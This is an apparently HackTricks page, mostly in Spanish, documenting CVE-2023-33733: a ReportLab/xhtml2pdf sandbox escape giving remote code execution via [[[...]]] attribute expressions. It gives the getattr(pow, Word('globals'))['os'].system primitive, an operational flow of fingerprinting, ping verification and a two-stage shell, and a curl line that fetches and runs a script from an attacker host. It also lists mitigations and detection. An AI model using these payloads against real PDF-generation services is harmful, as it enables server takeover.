ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733)

Reading time: 6 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Esta página documenta un escape práctico del sandbox y un primitivo RCE en rl_safe_eval de ReportLab usado por xhtml2pdf y otros pipelines de generación de PDF al renderizar HTML controlado por el usuario en PDFs.

CVE-2023-33733 afecta a ReportLab en versiones hasta e incluyendo la 3.6.12. En ciertos contextos de atributos (por ejemplo color), los valores encerrados en triple corchete [[[ ... ]]] son evaluados del lado servidor por rl_safe_eval. Al crear un payload que pivota desde un builtin en la whitelist (pow) hacia los globals de la función Python, un atacante puede alcanzar el módulo os y ejecutar comandos.

Puntos clave

  • Trigger: inject [[[ ... ]]] into evaluated attributes such as within markup parsed by ReportLab/xhtml2pdf.
  • Sandbox: rl_safe_eval reemplaza builtins peligrosos pero las funciones evaluadas aún exponen globals.
  • Bypass: craft a transient class Word to bypass rl_safe_eval name checks and access the string "globals" while avoiding blocked dunder filtering.
  • RCE: getattr(pow, Word("globals"))["os"].system("")
  • Stability: Return a valid value for the attribute after execution (for color, use and 'red').

Cuándo probar

  • Aplicaciones que ofrecen exportar HTML a PDF (perfiles, facturas, reportes) y muestran xhtml2pdf/ReportLab en los metadatos del PDF o en comentarios de la respuesta HTTP.
  • exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
  • La respuesta HTTP del PDF a menudo comienza con un comentario del generador ReportLab

Cómo funciona el bypass del sandbox

  • rl_safe_eval elimina o reemplaza muchos builtins (getattr, type, pow, ...) y aplica filtrado de nombres para negar atributos que empiezan con __ o que están en una denylist.
  • Sin embargo, las funciones seguras viven en un diccionario globals accesible como func.globals.
  • Usa type(type(1)) para recuperar la función builtin real type (evadiendo el wrapper de ReportLab), luego define una clase Word derivada de str con comportamiento de comparación mutado de manera que:
  • .startswith('') → siempre False (evita la comprobación startswith('') sobre nombres)
  • .eq devuelve False solo en la primera comparación (evita las comprobaciones de pertenencia en la denylist) y True después (para que getattr funcione)
  • .hash igual a hash(str(self))
  • Con esto, getattr(pow, Word('globals')) devuelve el dict de globals de la función pow envuelta, que incluye un módulo os importado. Entonces: ['os'].system('').

Patrón mínimo de explotación (ejemplo de atributo) Coloca el payload dentro de un atributo evaluado y asegúrate de que devuelva un valor válido para el atributo vía booleano y 'red'.

exploit

  • La forma de list-comprehension permite una única expresión aceptable por rl_safe_eval.
  • El sufijo and 'red' devuelve un color CSS válido para que el render no falle.
  • Reemplaza el comando según sea necesario; usa ping para validar la ejecución con tcpdump.

Flujo operativo

  1. Identificar el generador de PDF
  • El campo Producer del PDF muestra xhtml2pdf; la respuesta HTTP contiene un comentario de ReportLab.
  1. Encontrar una entrada reflejada en el PDF (por ejemplo bio/description del perfil) y disparar una exportación.
  2. Verificar la ejecución con ICMP de bajo ruido
  • Ejecuta: sudo tcpdump -ni icmp
  • Payload: ... system('ping <your_ip>') ...
  • Windows a menudo envía exactamente cuatro echo requests por defecto.
  1. Establecer una shell
  • Para Windows, un enfoque fiable en dos etapas evita problemas de quoting/encoding:
  • Etapa 1 (descarga):

exploit

  • Etapa 2 (ejecutar):

exploit

  • Para objetivos Linux, es posible una aproximación en dos etapas similar con curl/wget:
  • system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')

Notas y consejos

  • Contextos de atributos: color es un atributo conocido que se evalúa; otros atributos en el marcado de ReportLab también pueden evaluar expresiones. Si una ubicación está sanitizada, prueba otras que se rendericen en el flujo del PDF (diferentes campos, estilos de tabla, etc.).
  • Quoting: Mantén los comandos compactos. Las descargas en dos etapas reducen drásticamente problemas de quoting y escaping.
  • Fiabilidad: Si las exportaciones se cachean o encolan, varía ligeramente el payload (por ejemplo ruta o query aleatoria) para evitar cachés.

Mitigaciones y detección

  • Actualizar ReportLab a 3.6.13 o posterior (CVE-2023-33733 corregido). Seguir también los avisos de seguridad en paquetes de la distro.
  • No alimentar HTML/markup controlado por el usuario directamente a xhtml2pdf/ReportLab sin una sanitización estricta. Eliminar/negar [[[...]]] y tags específicos del vendor cuando la entrada no sea de confianza.
  • Considerar deshabilitar o envolver el uso de rl_safe_eval completamente para entradas no confiables.
  • Monitorizar conexiones salientes sospechosas durante la generación de PDFs (por ejemplo ICMP/HTTP desde servidores de aplicación al exportar documentos).

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks